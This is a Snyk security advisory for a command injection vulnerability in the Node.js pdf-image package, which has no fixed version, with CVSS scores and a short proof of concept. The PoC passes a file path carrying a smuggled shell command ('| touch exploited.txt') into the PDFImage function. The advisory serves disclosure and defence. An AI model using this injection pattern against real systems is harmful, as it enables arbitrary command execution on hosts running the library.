Command Injection Affecting pdf-image package, versions *


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team

    Threat Intelligence

    Exploit Maturity
    Proof of concept

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk ID SNYK-JS-PDFIMAGE-6424686
  • published 12 Mar 2024
  • disclosed 20 Feb 2024
  • credit Miguel Coimbra

Introduced: 20 Feb 2024

CVE NOT AVAILABLE CWE-78 Open this link in a new tab
First added by Snyk

How to fix?

There is no fixed version for pdf-image.

Overview

pdf-image is a library that provides an interface to convert PDF's pages to png files in Node.js by using ImageMagick.

Affected versions of this package are vulnerable to Command Injection through the PDFImage function, due to improper user input validation.

PoC

const pkg = require('pdf-image');
console.log(pkg);

const pdfFilePath = '" | touch exploited.txt "';
const options = {

};

const i = new pkg.PDFImage(pdfFilePath, options);

// This will create a local 'exploited.txt' file.
i.getInfo();

References

CVSS Scores

version 3.1
Expand this section

Snyk

Recommended
7.4 high
  • Attack Vector (AV)
    Local
  • Attack Complexity (AC)
    High
  • Privileges Required (PR)
    None
  • User Interaction (UI)
    None
  • Scope (S)
    Unchanged
  • Confidentiality (C)
    High
  • Integrity (I)
    High
  • Availability (A)
    High